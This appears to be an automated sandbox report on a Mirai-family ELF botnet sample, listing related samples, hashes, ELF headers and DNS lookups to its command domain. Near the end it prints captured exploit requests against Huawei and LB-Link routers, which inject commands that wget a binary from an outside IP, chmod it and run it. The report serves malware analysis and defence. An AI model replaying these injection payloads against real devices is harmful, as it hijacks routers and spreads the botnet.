57.72.151.190	unknown	Belgium	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
165.147.143.53	unknown	South Africa	5713	SAIX-NETZA	false
73.217.64.9	unknown	United States	7922	COMCAST-7922US	false
113.207.72.194	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
157.2.212.92	unknown	Japan	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
86.156.46.138	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
112.214.25.120	unknown	Korea Republic of	10036	CNM-AS-KRDLIVEKR	false
71.161.115.58	unknown	United States	13977	CTELCOUS	false
122.100.205.117	unknown	Macau	4609	CTM-MOCompanhiadeTelecomunicacoesdeMacauSARLMO	false
197.89.224.224	unknown	South Africa	10474	OPTINETZA	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
197.77.77.91	jGG4RszAMF.elf	Get hash	malicious	Mirai, Moobot	Browse
197.77.77.91	ak.mpsl.elf	Get hash	malicious	Mirai	Browse
41.69.118.212	QDXi1OHfgf.elf	Get hash	malicious	Mirai, Moobot	Browse
	IqcwyWAHx1.elf	Get hash	malicious	Mirai	Browse
	CLDy30IIDG.elf	Get hash	malicious	Mirai	Browse
	bk.arm7.elf	Get hash	malicious	Mirai	Browse
	SwEdNvvySx	Get hash	malicious	Mirai	Browse
	arm	Get hash	malicious	Mirai	Browse
	o2apXtf5lS	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Linux.Mirai.4465.1295.13679	Get hash	malicious	Mirai	Browse
157.86.47.30	arm.elf	Get hash	malicious	Mirai, Moobot	Browse
157.86.47.30	1oam9mzJrs	Get hash	malicious	Mirai	Browse
196.13.126.227	lyjROImFLY.elf	Get hash	malicious	Unknown	Browse
196.13.126.227	gIGp77YVK8	Get hash	malicious	Mirai	Browse
130.172.36.21	KXzpPX38WN.elf	Get hash	malicious	Mirai, Moobot	Browse
80.117.61.99	YQDcFYn8ru	Get hash	malicious	Mirai	Browse
	botx.arm	Get hash	malicious	Mirai	Browse
	KdlGKvIC3T	Get hash	malicious	Mirai	Browse
41.234.96.236	BYfcLuDzZL.elf	Get hash	malicious	Mirai, Moobot	Browse
41.234.96.236	bk.x86-20220929-1806.elf	Get hash	malicious	Mirai	Browse
41.36.218.221	bok.mpsl-20230316-1117.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bngoc.skyljne.click	h7x9LMic6K.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.172.139
	XXEEnTN5Xb.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.172.139
	huhu.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.172.139
	huhu.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.172.139
	huhu.x86_64.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.172.139
	huhu.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.172.139
	huhu.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.172.139
	huhu.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.188.223
	huhu.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.172.139
	7lESNpA2F7.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.188.223

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	huhu.x86_64.elf	Get hash	malicious	Mirai, Okiru	Browse	115.33.14.86
	bTQu.exe	Get hash	malicious	Remcos	Browse	103.239.67.36
	huhu.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	124.69.77.80
	YmHB5jMOsq.elf	Get hash	malicious	Gafgyt	Browse	124.192.237.214
	SecuriteInfo.com.FileRepPup.14593.15387.exe	Get hash	malicious	Unknown	Browse	114.115.218.83
	dUhNzDcJw6.elf	Get hash	malicious	Mirai	Browse	111.193.177.219
	EONtj0wYW4.elf	Get hash	malicious	Mirai	Browse	14.130.96.226
	mpsl.elf	Get hash	malicious	Mirai	Browse	124.207.102.237
	x86.elf	Get hash	malicious	Mirai	Browse	203.93.4.9
	jew.x86.elf	Get hash	malicious	Mirai	Browse	1.95.69.252
ALGTEL-ASDZ	XXEEnTN5Xb.elf	Get hash	malicious	Mirai, Okiru	Browse	41.101.212.169
	huhu.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	41.97.63.148
	huhu.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	197.201.220.167
	huhu.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	197.205.103.242
	huhu.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	41.102.150.123
	huhu.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	41.99.21.138
	huhu.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	41.201.35.228
	x86.elf	Get hash	malicious	Mirai	Browse	197.116.61.95
	7lESNpA2F7.elf	Get hash	malicious	Mirai, Okiru	Browse	197.117.17.180
	LUNFk2Hgfu.elf	Get hash	malicious	Mirai, Okiru	Browse	41.108.223.60
CKL1-ASNKE	zEtEDBaBLY.elf	Get hash	malicious	Mirai	Browse	102.236.129.61
	https://privatedetectivesa.co.za/images/foot/jhvjh/l	Get hash	malicious	HTMLPhisher	Browse	102.219.84.139
	jew.arm7.elf	Get hash	malicious	Mirai	Browse	105.231.117.83
	LUNFk2Hgfu.elf	Get hash	malicious	Mirai, Okiru	Browse	154.79.80.7
	huhu.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	102.197.194.183
	p8hzfDn0Pn.elf	Get hash	malicious	Mirai	Browse	102.241.58.28
	qqTnya4e5o.elf	Get hash	malicious	Mirai	Browse	102.3.171.52
	fxkWlYHhRR.elf	Get hash	malicious	Mirai	Browse	102.197.90.216
	7erU7Xu8Wa.elf	Get hash	malicious	Mirai	Browse	102.219.100.122
	p88ovFT5K6.elf	Get hash	malicious	Mirai	Browse	102.196.108.50
FUNDACAOINSTITUTOOSWALDOCRUZBR	h7x9LMic6K.elf	Get hash	malicious	Mirai, Okiru	Browse	157.86.23.73
	huhu.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	157.87.74.233
	7lESNpA2F7.elf	Get hash	malicious	Mirai, Okiru	Browse	157.87.184.36
	dTSpuHt89l.elf	Get hash	malicious	Mirai	Browse	157.86.95.209
	huhu.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	157.86.195.212
	arm-20240223-1531.elf	Get hash	malicious	Mirai, Moobot	Browse	157.87.196.37
	x86-20240223-1216.elf	Get hash	malicious	Mirai, Moobot	Browse	157.87.196.75
	FT5aLZyLj1.elf	Get hash	malicious	Mirai, Moobot	Browse	157.86.47.58
	crvEujmluK.elf	Get hash	malicious	Mirai, Moobot	Browse	157.86.95.229
	Z3eha282zf.elf	Get hash	malicious	Mirai, Moobot	Browse	157.86.200.112

Process:	/tmp/V1J7GFIwfY.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.1219280948873624
Encrypted:	false
SSDEEP:	3:TgQ:TgQ
MD5:	40CD7B45B6DC3D76181DAC204A9D25AC
SHA1:	8C2BA46BF244014EC7D22D9DAAA5E4EE9B145038
SHA-256:	9A985A90019E52E05D93279BF9D6C6AD6BB14878356A76DECF55C12C60B288C1
SHA-512:	38CFD1664E50546B21AC28298AABC712E916F2E473D384110D835F14D8FFD7B62B62A5FD121888BE37853C087A1DCAA8F88A52CE6E555CE3784B4967B3FFD921
Malicious:	false
Reputation:	low
Preview:	/tmp/V1J7GFIwfY.elf.

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.623655829800459
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	V1J7GFIwfY.elf
File size:	146'396 bytes
MD5:	b3d62146be0f1236984dd67695cd28f4
SHA1:	bb67d9875f94223e679747db0a15cafb6f266934
SHA256:	e19c581a6f7b9b82e959f6a5f9b9a06c57ed83860a75f5e5ece843b332a39109
SHA512:	a4a22fcd7418ecdbad5fc8a8673b5d40603c08c2801a40bf4861a4bd18a1b0fb55fd197b8991dff63c1144d746b07a913e7d8afb79883ecab9ce1c5b37b88f86
SSDEEP:	1536:bHd2Xu4Jf1+nbl2lOCJvB42yxp6vTRvkoqMdUX43yr2xvA0Wrk2Ky3kq8Rx4XN6F:b4XtNkSc2yx87t2XVrZ0aXNfe1
TLSH:	0AE33B06B31C0A47D1A32EF43A3F6BD093EF9AC121E4F640255FAA8A91B1D375546ECD
File Content Preview:	.ELF...........................4..9......4. ...(......................................................I.............dt.Q.............................!..\|......$H...H..E...$8!. \|...N.. .!..\|.......?.........:...../...@..\?......$.+../...A..$8...}).....$N..

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	PowerPC
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x100001f0
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	145916
Section Header Size:	40
Number of Section Headers:	12
Header String Table Index:	11

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0x1b49c	0x0	0x6	AX	4
.fini	PROGBITS	0x1001b554	0x1b554	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x1001b578	0x1b578	0x2f24	0x0	0x2	A	8
.ctors	PROGBITS	0x1002f000	0x1f000	0xc	0x0	0x3	WA	4
.dtors	PROGBITS	0x1002f00c	0x1f00c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x1002f020	0x1f020	0x4900	0x0	0x3	WA	32
.sdata	PROGBITS	0x10033920	0x23920	0x90	0x0	0x3	WA	4
.sbss	NOBITS	0x100339b0	0x239b0	0x120	0x0	0x3	WA	4
.bss	NOBITS	0x10033ad0	0x239b0	0x44c0	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x239b0	0x4b	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0x1e49c	0x1e49c	6.2311	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x1f000	0x1002f000	0x1002f000	0x49b0	0x8f90	0.4909	0x6	RW	0x10000	.ctors .dtors .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 29, 2024 10:47:07.309340000 CET	192.168.2.23	8.8.8.8	0x1e9a	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:47:15.080679893 CET	192.168.2.23	8.8.8.8	0x223e	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:47:25.871217966 CET	192.168.2.23	8.8.8.8	0x5fe9	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:47:35.663233995 CET	192.168.2.23	8.8.8.8	0x1c50	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:47:41.463846922 CET	192.168.2.23	8.8.8.8	0x80df	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:47:46.261280060 CET	192.168.2.23	8.8.8.8	0xd28	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:47:50.061587095 CET	192.168.2.23	8.8.8.8	0x446f	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:47:58.850595951 CET	192.168.2.23	8.8.8.8	0x8670	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:48:02.623727083 CET	192.168.2.23	8.8.8.8	0x50e4	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:48:05.418628931 CET	192.168.2.23	8.8.8.8	0x2748	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:48:08.207135916 CET	192.168.2.23	8.8.8.8	0xec4f	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:48:16.037985086 CET	192.168.2.23	8.8.8.8	0xbdaa	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:48:17.820216894 CET	192.168.2.23	8.8.8.8	0x52d4	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:48:28.627446890 CET	192.168.2.23	8.8.8.8	0x9a15	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:48:36.408648014 CET	192.168.2.23	8.8.8.8	0x6f11	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:48:45.205992937 CET	192.168.2.23	8.8.8.8	0x6313	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:48:54.994467020 CET	192.168.2.23	8.8.8.8	0x2289	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:48:59.781292915 CET	192.168.2.23	8.8.8.8	0xac20	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:49:05.551589966 CET	192.168.2.23	8.8.8.8	0x9695	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Feb 29, 2024 10:47:07.397624016 CET	8.8.8.8	192.168.2.23	0x1e9a	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:47:15.168682098 CET	8.8.8.8	192.168.2.23	0x223e	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:47:25.958796024 CET	8.8.8.8	192.168.2.23	0x5fe9	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:47:35.753882885 CET	8.8.8.8	192.168.2.23	0x1c50	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:47:41.551808119 CET	8.8.8.8	192.168.2.23	0x80df	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:47:46.351783037 CET	8.8.8.8	192.168.2.23	0xd28	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:47:50.149672031 CET	8.8.8.8	192.168.2.23	0x446f	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:47:58.944138050 CET	8.8.8.8	192.168.2.23	0x8670	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:48:02.718065977 CET	8.8.8.8	192.168.2.23	0x50e4	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:48:05.509495974 CET	8.8.8.8	192.168.2.23	0x2748	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:48:08.294831038 CET	8.8.8.8	192.168.2.23	0xec4f	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:48:16.125864029 CET	8.8.8.8	192.168.2.23	0xbdaa	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:48:17.908143997 CET	8.8.8.8	192.168.2.23	0x52d4	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:48:28.715533018 CET	8.8.8.8	192.168.2.23	0x9a15	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:48:36.496494055 CET	8.8.8.8	192.168.2.23	0x6f11	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:48:45.302604914 CET	8.8.8.8	192.168.2.23	0x6313	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:48:55.085052967 CET	8.8.8.8	192.168.2.23	0x2289	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:48:59.868887901 CET	8.8.8.8	192.168.2.23	0xac20	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:49:05.639539003 CET	8.8.8.8	192.168.2.23	0x9695	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:47:39.624258041 CET	850	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 493 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 29, 2024 10:47:40.199779034 CET	850	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 493 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 29, 2024 10:47:41.351655006 CET	850	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 493 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:47:44.888566971 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
